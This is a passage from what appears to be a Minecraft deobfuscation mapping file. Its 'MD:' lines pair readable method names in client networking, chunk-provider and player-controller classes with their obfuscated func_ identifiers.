net/minecraft/client/network/NetHandlerPlayClient$3$1/func_73878_a (ZI)V +MD: net/minecraft/client/network/NetHandlerPlayClient$3/run ()V net/minecraft/client/network/NetHandlerPlayClient$3/run ()V +MD: net/minecraft/client/network/NetHandlerPlayClient/getNetworkManager ()Lnet/minecraft/network/NetworkManager; net/minecraft/client/network/NetHandlerPlayClient/func_147298_b ()Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/client/network/NetHandlerPlayClient/access$000 (Lnet/minecraft/client/network/NetHandlerPlayClient;)Lnet/minecraft/network/NetworkManager; net/minecraft/client/network/NetHandlerPlayClient/access$000 (Lnet/minecraft/client/network/NetHandlerPlayClient;)Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/client/network/NetHandlerPlayClient/access$102 (Lnet/minecraft/client/network/NetHandlerPlayClient;Lnet/minecraft/client/Minecraft;)Lnet/minecraft/client/Minecraft; net/minecraft/client/network/NetHandlerPlayClient/access$102 (Lnet/minecraft/client/network/NetHandlerPlayClient;Lnet/minecraft/client/Minecraft;)Lnet/minecraft/client/Minecraft; +MD: net/minecraft/client/network/NetHandlerPlayClient/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/network/NetHandlerPlayClient/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/addToSendQueue (Lnet/minecraft/network/Packet;)V net/minecraft/client/network/NetHandlerPlayClient/func_147297_a (Lnet/minecraft/network/Packet;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handlePlayerPosLook (Lnet/minecraft/network/play/server/S08PacketPlayerPosLook;)V net/minecraft/client/network/NetHandlerPlayClient/func_147258_a (Lnet/minecraft/network/play/server/S08PacketPlayerPosLook;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSpawnObject (Lnet/minecraft/network/play/server/S0EPacketSpawnObject;)V net/minecraft/client/network/NetHandlerPlayClient/func_147235_a (Lnet/minecraft/network/play/server/S0EPacketSpawnObject;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSpawnExperienceOrb (Lnet/minecraft/network/play/server/S11PacketSpawnExperienceOrb;)V net/minecraft/client/network/NetHandlerPlayClient/func_147286_a (Lnet/minecraft/network/play/server/S11PacketSpawnExperienceOrb;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSpawnGlobalEntity (Lnet/minecraft/network/play/server/S2CPacketSpawnGlobalEntity;)V net/minecraft/client/network/NetHandlerPlayClient/func_147292_a (Lnet/minecraft/network/play/server/S2CPacketSpawnGlobalEntity;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSpawnMob (Lnet/minecraft/network/play/server/S0FPacketSpawnMob;)V net/minecraft/client/network/NetHandlerPlayClient/func_147281_a (Lnet/minecraft/network/play/server/S0FPacketSpawnMob;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSpawnPainting (Lnet/minecraft/network/play/server/S10PacketSpawnPainting;)V net/minecraft/client/network/NetHandlerPlayClient/func_147288_a (Lnet/minecraft/network/play/server/S10PacketSpawnPainting;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSpawnPlayer (Lnet/minecraft/network/play/server/S0CPacketSpawnPlayer;)V net/minecraft/client/network/NetHandlerPlayClient/func_147237_a (Lnet/minecraft/network/play/server/S0CPacketSpawnPlayer;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleAnimation (Lnet/minecraft/network/play/server/S0BPacketAnimation;)V net/minecraft/client/network/NetHandlerPlayClient/func_147279_a (Lnet/minecraft/network/play/server/S0BPacketAnimation;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleStatistics (Lnet/minecraft/network/play/server/S37PacketStatistics;)V net/minecraft/client/network/NetHandlerPlayClient/func_147293_a (Lnet/minecraft/network/play/server/S37PacketStatistics;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleBlockBreakAnim (Lnet/minecraft/network/play/server/S25PacketBlockBreakAnim;)V net/minecraft/client/network/NetHandlerPlayClient/func_147294_a (Lnet/minecraft/network/play/server/S25PacketBlockBreakAnim;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleUpdateTileEntity (Lnet/minecraft/network/play/server/S35PacketUpdateTileEntity;)V net/minecraft/client/network/NetHandlerPlayClient/func_147273_a (Lnet/minecraft/network/play/server/S35PacketUpdateTileEntity;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleBlockAction (Lnet/minecraft/network/play/server/S24PacketBlockAction;)V net/minecraft/client/network/NetHandlerPlayClient/func_147261_a (Lnet/minecraft/network/play/server/S24PacketBlockAction;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleBlockChange (Lnet/minecraft/network/play/server/S23PacketBlockChange;)V net/minecraft/client/network/NetHandlerPlayClient/func_147234_a (Lnet/minecraft/network/play/server/S23PacketBlockChange;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleServerDifficulty (Lnet/minecraft/network/play/server/S41PacketServerDifficulty;)V net/minecraft/client/network/NetHandlerPlayClient/func_175101_a (Lnet/minecraft/network/play/server/S41PacketServerDifficulty;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleTabComplete (Lnet/minecraft/network/play/server/S3APacketTabComplete;)V net/minecraft/client/network/NetHandlerPlayClient/func_147274_a (Lnet/minecraft/network/play/server/S3APacketTabComplete;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleChat (Lnet/minecraft/network/play/server/S02PacketChat;)V net/minecraft/client/network/NetHandlerPlayClient/func_147251_a (Lnet/minecraft/network/play/server/S02PacketChat;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleMultiBlockChange (Lnet/minecraft/network/play/server/S22PacketMultiBlockChange;)V net/minecraft/client/network/NetHandlerPlayClient/func_147287_a (Lnet/minecraft/network/play/server/S22PacketMultiBlockChange;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleConfirmTransaction (Lnet/minecraft/network/play/server/S32PacketConfirmTransaction;)V net/minecraft/client/network/NetHandlerPlayClient/func_147239_a (Lnet/minecraft/network/play/server/S32PacketConfirmTransaction;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleCloseWindow (Lnet/minecraft/network/play/server/S2EPacketCloseWindow;)V net/minecraft/client/network/NetHandlerPlayClient/func_147276_a (Lnet/minecraft/network/play/server/S2EPacketCloseWindow;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleOpenWindow (Lnet/minecraft/network/play/server/S2DPacketOpenWindow;)V net/minecraft/client/network/NetHandlerPlayClient/func_147265_a (Lnet/minecraft/network/play/server/S2DPacketOpenWindow;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleWindowItems (Lnet/minecraft/network/play/server/S30PacketWindowItems;)V net/minecraft/client/network/NetHandlerPlayClient/func_147241_a (Lnet/minecraft/network/play/server/S30PacketWindowItems;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleWindowProperty (Lnet/minecraft/network/play/server/S31PacketWindowProperty;)V net/minecraft/client/network/NetHandlerPlayClient/func_147245_a (Lnet/minecraft/network/play/server/S31PacketWindowProperty;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSetSlot (Lnet/minecraft/network/play/server/S2FPacketSetSlot;)V net/minecraft/client/network/NetHandlerPlayClient/func_147266_a (Lnet/minecraft/network/play/server/S2FPacketSetSlot;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleCustomPayload (Lnet/minecraft/network/play/server/S3FPacketCustomPayload;)V net/minecraft/client/network/NetHandlerPlayClient/func_147240_a (Lnet/minecraft/network/play/server/S3FPacketCustomPayload;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleDisconnect (Lnet/minecraft/network/play/server/S40PacketDisconnect;)V net/minecraft/client/network/NetHandlerPlayClient/func_147253_a (Lnet/minecraft/network/play/server/S40PacketDisconnect;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityStatus (Lnet/minecraft/network/play/server/S19PacketEntityStatus;)V net/minecraft/client/network/NetHandlerPlayClient/func_147236_a (Lnet/minecraft/network/play/server/S19PacketEntityStatus;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityNBT (Lnet/minecraft/network/play/server/S49PacketUpdateEntityNBT;)V net/minecraft/client/network/NetHandlerPlayClient/func_175097_a (Lnet/minecraft/network/play/server/S49PacketUpdateEntityNBT;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleExplosion (Lnet/minecraft/network/play/server/S27PacketExplosion;)V net/minecraft/client/network/NetHandlerPlayClient/func_147283_a (Lnet/minecraft/network/play/server/S27PacketExplosion;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSetCompressionLevel (Lnet/minecraft/network/play/server/S46PacketSetCompressionLevel;)V net/minecraft/client/network/NetHandlerPlayClient/func_175100_a (Lnet/minecraft/network/play/server/S46PacketSetCompressionLevel;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleChangeGameState (Lnet/minecraft/network/play/server/S2BPacketChangeGameState;)V net/minecraft/client/network/NetHandlerPlayClient/func_147252_a (Lnet/minecraft/network/play/server/S2BPacketChangeGameState;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleKeepAlive (Lnet/minecraft/network/play/server/S00PacketKeepAlive;)V net/minecraft/client/network/NetHandlerPlayClient/func_147272_a (Lnet/minecraft/network/play/server/S00PacketKeepAlive;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleChunkData (Lnet/minecraft/network/play/server/S21PacketChunkData;)V net/minecraft/client/network/NetHandlerPlayClient/func_147263_a (Lnet/minecraft/network/play/server/S21PacketChunkData;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleMapChunkBulk (Lnet/minecraft/network/play/server/S26PacketMapChunkBulk;)V net/minecraft/client/network/NetHandlerPlayClient/func_147269_a (Lnet/minecraft/network/play/server/S26PacketMapChunkBulk;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEffect (Lnet/minecraft/network/play/server/S28PacketEffect;)V net/minecraft/client/network/NetHandlerPlayClient/func_147277_a (Lnet/minecraft/network/play/server/S28PacketEffect;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleParticles (Lnet/minecraft/network/play/server/S2APacketParticles;)V net/minecraft/client/network/NetHandlerPlayClient/func_147289_a (Lnet/minecraft/network/play/server/S2APacketParticles;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSoundEffect (Lnet/minecraft/network/play/server/S29PacketSoundEffect;)V net/minecraft/client/network/NetHandlerPlayClient/func_147255_a (Lnet/minecraft/network/play/server/S29PacketSoundEffect;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleJoinGame (Lnet/minecraft/network/play/server/S01PacketJoinGame;)V net/minecraft/client/network/NetHandlerPlayClient/func_147282_a (Lnet/minecraft/network/play/server/S01PacketJoinGame;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleMaps (Lnet/minecraft/network/play/server/S34PacketMaps;)V net/minecraft/client/network/NetHandlerPlayClient/func_147264_a (Lnet/minecraft/network/play/server/S34PacketMaps;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityMovement (Lnet/minecraft/network/play/server/S14PacketEntity;)V net/minecraft/client/network/NetHandlerPlayClient/func_147259_a (Lnet/minecraft/network/play/server/S14PacketEntity;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSignEditorOpen (Lnet/minecraft/network/play/server/S36PacketSignEditorOpen;)V net/minecraft/client/network/NetHandlerPlayClient/func_147268_a (Lnet/minecraft/network/play/server/S36PacketSignEditorOpen;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handlePlayerAbilities (Lnet/minecraft/network/play/server/S39PacketPlayerAbilities;)V net/minecraft/client/network/NetHandlerPlayClient/func_147270_a (Lnet/minecraft/network/play/server/S39PacketPlayerAbilities;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleCombatEvent (Lnet/minecraft/network/play/server/S42PacketCombatEvent;)V net/minecraft/client/network/NetHandlerPlayClient/func_175098_a (Lnet/minecraft/network/play/server/S42PacketCombatEvent;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handlePlayerListItem (Lnet/minecraft/network/play/server/S38PacketPlayerListItem;)V net/minecraft/client/network/NetHandlerPlayClient/func_147256_a (Lnet/minecraft/network/play/server/S38PacketPlayerListItem;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleUseBed (Lnet/minecraft/network/play/server/S0APacketUseBed;)V net/minecraft/client/network/NetHandlerPlayClient/func_147278_a (Lnet/minecraft/network/play/server/S0APacketUseBed;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleDestroyEntities (Lnet/minecraft/network/play/server/S13PacketDestroyEntities;)V net/minecraft/client/network/NetHandlerPlayClient/func_147238_a (Lnet/minecraft/network/play/server/S13PacketDestroyEntities;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleRemoveEntityEffect (Lnet/minecraft/network/play/server/S1EPacketRemoveEntityEffect;)V net/minecraft/client/network/NetHandlerPlayClient/func_147262_a (Lnet/minecraft/network/play/server/S1EPacketRemoveEntityEffect;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleResourcePack (Lnet/minecraft/network/play/server/S48PacketResourcePackSend;)V net/minecraft/client/network/NetHandlerPlayClient/func_175095_a (Lnet/minecraft/network/play/server/S48PacketResourcePackSend;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleRespawn (Lnet/minecraft/network/play/server/S07PacketRespawn;)V net/minecraft/client/network/NetHandlerPlayClient/func_147280_a (Lnet/minecraft/network/play/server/S07PacketRespawn;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityHeadLook (Lnet/minecraft/network/play/server/S19PacketEntityHeadLook;)V net/minecraft/client/network/NetHandlerPlayClient/func_147267_a (Lnet/minecraft/network/play/server/S19PacketEntityHeadLook;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleWorldBorder (Lnet/minecraft/network/play/server/S44PacketWorldBorder;)V net/minecraft/client/network/NetHandlerPlayClient/func_175093_a (Lnet/minecraft/network/play/server/S44PacketWorldBorder;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleCamera (Lnet/minecraft/network/play/server/S43PacketCamera;)V net/minecraft/client/network/NetHandlerPlayClient/func_175094_a (Lnet/minecraft/network/play/server/S43PacketCamera;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleHeldItemChange (Lnet/minecraft/network/play/server/S09PacketHeldItemChange;)V net/minecraft/client/network/NetHandlerPlayClient/func_147257_a (Lnet/minecraft/network/play/server/S09PacketHeldItemChange;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleDisplayScoreboard (Lnet/minecraft/network/play/server/S3DPacketDisplayScoreboard;)V net/minecraft/client/network/NetHandlerPlayClient/func_147254_a (Lnet/minecraft/network/play/server/S3DPacketDisplayScoreboard;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityMetadata (Lnet/minecraft/network/play/server/S1CPacketEntityMetadata;)V net/minecraft/client/network/NetHandlerPlayClient/func_147284_a (Lnet/minecraft/network/play/server/S1CPacketEntityMetadata;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityAttach (Lnet/minecraft/network/play/server/S1BPacketEntityAttach;)V net/minecraft/client/network/NetHandlerPlayClient/func_147243_a (Lnet/minecraft/network/play/server/S1BPacketEntityAttach;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityVelocity (Lnet/minecraft/network/play/server/S12PacketEntityVelocity;)V net/minecraft/client/network/NetHandlerPlayClient/func_147244_a (Lnet/minecraft/network/play/server/S12PacketEntityVelocity;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityEquipment (Lnet/minecraft/network/play/server/S04PacketEntityEquipment;)V net/minecraft/client/network/NetHandlerPlayClient/func_147242_a (Lnet/minecraft/network/play/server/S04PacketEntityEquipment;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSetExperience (Lnet/minecraft/network/play/server/S1FPacketSetExperience;)V net/minecraft/client/network/NetHandlerPlayClient/func_147295_a (Lnet/minecraft/network/play/server/S1FPacketSetExperience;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleUpdateHealth (Lnet/minecraft/network/play/server/S06PacketUpdateHealth;)V net/minecraft/client/network/NetHandlerPlayClient/func_147249_a (Lnet/minecraft/network/play/server/S06PacketUpdateHealth;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleScoreboardObjective (Lnet/minecraft/network/play/server/S3BPacketScoreboardObjective;)V net/minecraft/client/network/NetHandlerPlayClient/func_147291_a (Lnet/minecraft/network/play/server/S3BPacketScoreboardObjective;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleTeams (Lnet/minecraft/network/play/server/S3EPacketTeams;)V net/minecraft/client/network/NetHandlerPlayClient/func_147247_a (Lnet/minecraft/network/play/server/S3EPacketTeams;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleUpdateScore (Lnet/minecraft/network/play/server/S3CPacketUpdateScore;)V net/minecraft/client/network/NetHandlerPlayClient/func_147250_a (Lnet/minecraft/network/play/server/S3CPacketUpdateScore;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleSpawnPosition (Lnet/minecraft/network/play/server/S05PacketSpawnPosition;)V net/minecraft/client/network/NetHandlerPlayClient/func_147271_a (Lnet/minecraft/network/play/server/S05PacketSpawnPosition;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleTimeUpdate (Lnet/minecraft/network/play/server/S03PacketTimeUpdate;)V net/minecraft/client/network/NetHandlerPlayClient/func_147285_a (Lnet/minecraft/network/play/server/S03PacketTimeUpdate;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleTitle (Lnet/minecraft/network/play/server/S45PacketTitle;)V net/minecraft/client/network/NetHandlerPlayClient/func_175099_a (Lnet/minecraft/network/play/server/S45PacketTitle;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleUpdateSign (Lnet/minecraft/network/play/server/S33PacketUpdateSign;)V net/minecraft/client/network/NetHandlerPlayClient/func_147248_a (Lnet/minecraft/network/play/server/S33PacketUpdateSign;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handlePlayerListHeaderFooter (Lnet/minecraft/network/play/server/S47PacketPlayerListHeaderFooter;)V net/minecraft/client/network/NetHandlerPlayClient/func_175096_a (Lnet/minecraft/network/play/server/S47PacketPlayerListHeaderFooter;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleCollectItem (Lnet/minecraft/network/play/server/S0DPacketCollectItem;)V net/minecraft/client/network/NetHandlerPlayClient/func_147246_a (Lnet/minecraft/network/play/server/S0DPacketCollectItem;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityTeleport (Lnet/minecraft/network/play/server/S18PacketEntityTeleport;)V net/minecraft/client/network/NetHandlerPlayClient/func_147275_a (Lnet/minecraft/network/play/server/S18PacketEntityTeleport;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityProperties (Lnet/minecraft/network/play/server/S20PacketEntityProperties;)V net/minecraft/client/network/NetHandlerPlayClient/func_147290_a (Lnet/minecraft/network/play/server/S20PacketEntityProperties;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/handleEntityEffect (Lnet/minecraft/network/play/server/S1DPacketEntityEffect;)V net/minecraft/client/network/NetHandlerPlayClient/func_147260_a (Lnet/minecraft/network/play/server/S1DPacketEntityEffect;)V +MD: net/minecraft/client/network/NetHandlerPlayClient/getPlayerInfo (Ljava/lang/String;)Lnet/minecraft/client/network/NetworkPlayerInfo; net/minecraft/client/network/NetHandlerPlayClient/func_175104_a (Ljava/lang/String;)Lnet/minecraft/client/network/NetworkPlayerInfo; +MD: net/minecraft/client/network/NetHandlerPlayClient/getPlayerInfo (Ljava/util/UUID;)Lnet/minecraft/client/network/NetworkPlayerInfo; net/minecraft/client/network/NetHandlerPlayClient/func_175102_a (Ljava/util/UUID;)Lnet/minecraft/client/network/NetworkPlayerInfo; +MD: net/minecraft/client/network/NetHandlerPlayClient/cleanup ()V net/minecraft/client/network/NetHandlerPlayClient/func_147296_c ()V +MD: net/minecraft/client/network/NetHandlerPlayClient/access$100 (Lnet/minecraft/client/network/NetHandlerPlayClient;)Lnet/minecraft/client/Minecraft; net/minecraft/client/network/NetHandlerPlayClient/access$100 (Lnet/minecraft/client/network/NetHandlerPlayClient;)Lnet/minecraft/client/Minecraft; +MD: net/minecraft/client/network/NetHandlerPlayClient/getPlayerInfoMap ()Ljava/util/Collection; net/minecraft/client/network/NetHandlerPlayClient/func_175106_d ()Ljava/util/Collection; +MD: net/minecraft/client/network/NetHandlerPlayClient/getGameProfile ()Lcom/mojang/authlib/GameProfile; net/minecraft/client/network/NetHandlerPlayClient/func_175105_e ()Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/client/multiplayer/ChunkProviderClient/chunkExists (II)Z net/minecraft/client/multiplayer/ChunkProviderClient/func_73149_a (II)Z +MD: net/minecraft/client/multiplayer/ChunkProviderClient/getStrongholdGen (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/client/multiplayer/ChunkProviderClient/func_180513_a (Lnet/minecraft/world/World;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/client/multiplayer/ChunkProviderClient/populate (Lnet/minecraft/world/chunk/IChunkProvider;II)V net/minecraft/client/multiplayer/ChunkProviderClient/func_73153_a (Lnet/minecraft/world/chunk/IChunkProvider;II)V +MD: net/minecraft/client/multiplayer/ChunkProviderClient/populateChunk (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z net/minecraft/client/multiplayer/ChunkProviderClient/func_177460_a (Lnet/minecraft/world/chunk/IChunkProvider;Lnet/minecraft/world/chunk/Chunk;II)Z +MD: net/minecraft/client/multiplayer/ChunkProviderClient/recreateStructures (Lnet/minecraft/world/chunk/Chunk;II)V net/minecraft/client/multiplayer/ChunkProviderClient/func_180514_a (Lnet/minecraft/world/chunk/Chunk;II)V +MD: net/minecraft/client/multiplayer/ChunkProviderClient/provideChunk (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/client/multiplayer/ChunkProviderClient/func_177459_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/client/multiplayer/ChunkProviderClient/getPossibleCreatures (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/client/multiplayer/ChunkProviderClient/func_177458_a (Lnet/minecraft/entity/EnumCreatureType;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/client/multiplayer/ChunkProviderClient/saveChunks (ZLnet/minecraft/util/IProgressUpdate;)Z net/minecraft/client/multiplayer/ChunkProviderClient/func_73151_a (ZLnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/client/multiplayer/ChunkProviderClient/unloadChunk (II)V net/minecraft/client/multiplayer/ChunkProviderClient/func_73234_b (II)V +MD: net/minecraft/client/multiplayer/ChunkProviderClient/saveExtraData ()V net/minecraft/client/multiplayer/ChunkProviderClient/func_104112_b ()V +MD: net/minecraft/client/multiplayer/ChunkProviderClient/loadChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/client/multiplayer/ChunkProviderClient/func_73158_c (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/client/multiplayer/ChunkProviderClient/unloadQueuedChunks ()Z net/minecraft/client/multiplayer/ChunkProviderClient/func_73156_b ()Z +MD: net/minecraft/client/multiplayer/ChunkProviderClient/provideChunk (II)Lnet/minecraft/world/chunk/Chunk; net/minecraft/client/multiplayer/ChunkProviderClient/func_73154_d (II)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/client/multiplayer/ChunkProviderClient/canSave ()Z net/minecraft/client/multiplayer/ChunkProviderClient/func_73157_c ()Z +MD: net/minecraft/client/multiplayer/ChunkProviderClient/makeString ()Ljava/lang/String; net/minecraft/client/multiplayer/ChunkProviderClient/func_73148_d ()Ljava/lang/String; +MD: net/minecraft/client/multiplayer/ChunkProviderClient/getLoadedChunkCount ()I net/minecraft/client/multiplayer/ChunkProviderClient/func_73152_e ()I +MD: net/minecraft/command/ServerCommandManager/notifyOperators (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/ICommand;ILjava/lang/String;[Ljava/lang/Object;)V net/minecraft/command/ServerCommandManager/func_152372_a (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/command/ICommand;ILjava/lang/String;[Ljava/lang/Object;)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/isSpectator ()Z net/minecraft/client/multiplayer/PlayerControllerMP/func_78747_a ()Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/sendEnchantPacket (II)V net/minecraft/client/multiplayer/PlayerControllerMP/func_78756_a (II)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/windowClick (IIIILnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/client/multiplayer/PlayerControllerMP/func_78753_a (IIIILnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/client/multiplayer/PlayerControllerMP/func_178892_a (Lnet/minecraft/world/World;Lnet/minecraft/stats/StatFileWriter;)Lnet/minecraft/client/entity/EntityPlayerSP; net/minecraft/client/multiplayer/PlayerControllerMP/func_178892_a (Lnet/minecraft/world/World;Lnet/minecraft/stats/StatFileWriter;)Lnet/minecraft/client/entity/EntityPlayerSP; +MD: net/minecraft/client/multiplayer/PlayerControllerMP/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/client/multiplayer/PlayerControllerMP/func_78746_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/clickBlockCreative (Lnet/minecraft/client/Minecraft;Lnet/minecraft/client/multiplayer/PlayerControllerMP;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V net/minecraft/client/multiplayer/PlayerControllerMP/func_178891_a (Lnet/minecraft/client/Minecraft;Lnet/minecraft/client/multiplayer/PlayerControllerMP;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/onPlayerRightClick (Lnet/minecraft/client/entity/EntityPlayerSP;Lnet/minecraft/client/multiplayer/WorldClient;Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/Vec3;)Z net/minecraft/client/multiplayer/PlayerControllerMP/func_178890_a (Lnet/minecraft/client/entity/EntityPlayerSP;Lnet/minecraft/client/multiplayer/WorldClient;Lnet/minecraft/item/ItemStack;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/isHittingPosition (Lnet/minecraft/util/BlockPos;)Z net/minecraft/client/multiplayer/PlayerControllerMP/func_178893_a (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/onPlayerDestroyBlock (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/client/multiplayer/PlayerControllerMP/func_178888_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/setPlayerCapabilities (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/client/multiplayer/PlayerControllerMP/func_78748_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/sendUseItem (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;)Z net/minecraft/client/multiplayer/PlayerControllerMP/func_78769_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/attackEntity (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/Entity;)V net/minecraft/client/multiplayer/PlayerControllerMP/func_78764_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/isPlayerRightClickingOnEntity (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/MovingObjectPosition;)Z net/minecraft/client/multiplayer/PlayerControllerMP/func_178894_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/MovingObjectPosition;)Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/sendPacketDropItem (Lnet/minecraft/item/ItemStack;)V net/minecraft/client/multiplayer/PlayerControllerMP/func_78752_a (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/sendSlotPacket (Lnet/minecraft/item/ItemStack;I)V net/minecraft/client/multiplayer/PlayerControllerMP/func_78761_a (Lnet/minecraft/item/ItemStack;I)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/shouldDrawHUD ()Z net/minecraft/client/multiplayer/PlayerControllerMP/func_78755_b ()Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/clickBlock (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/client/multiplayer/PlayerControllerMP/func_180511_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: 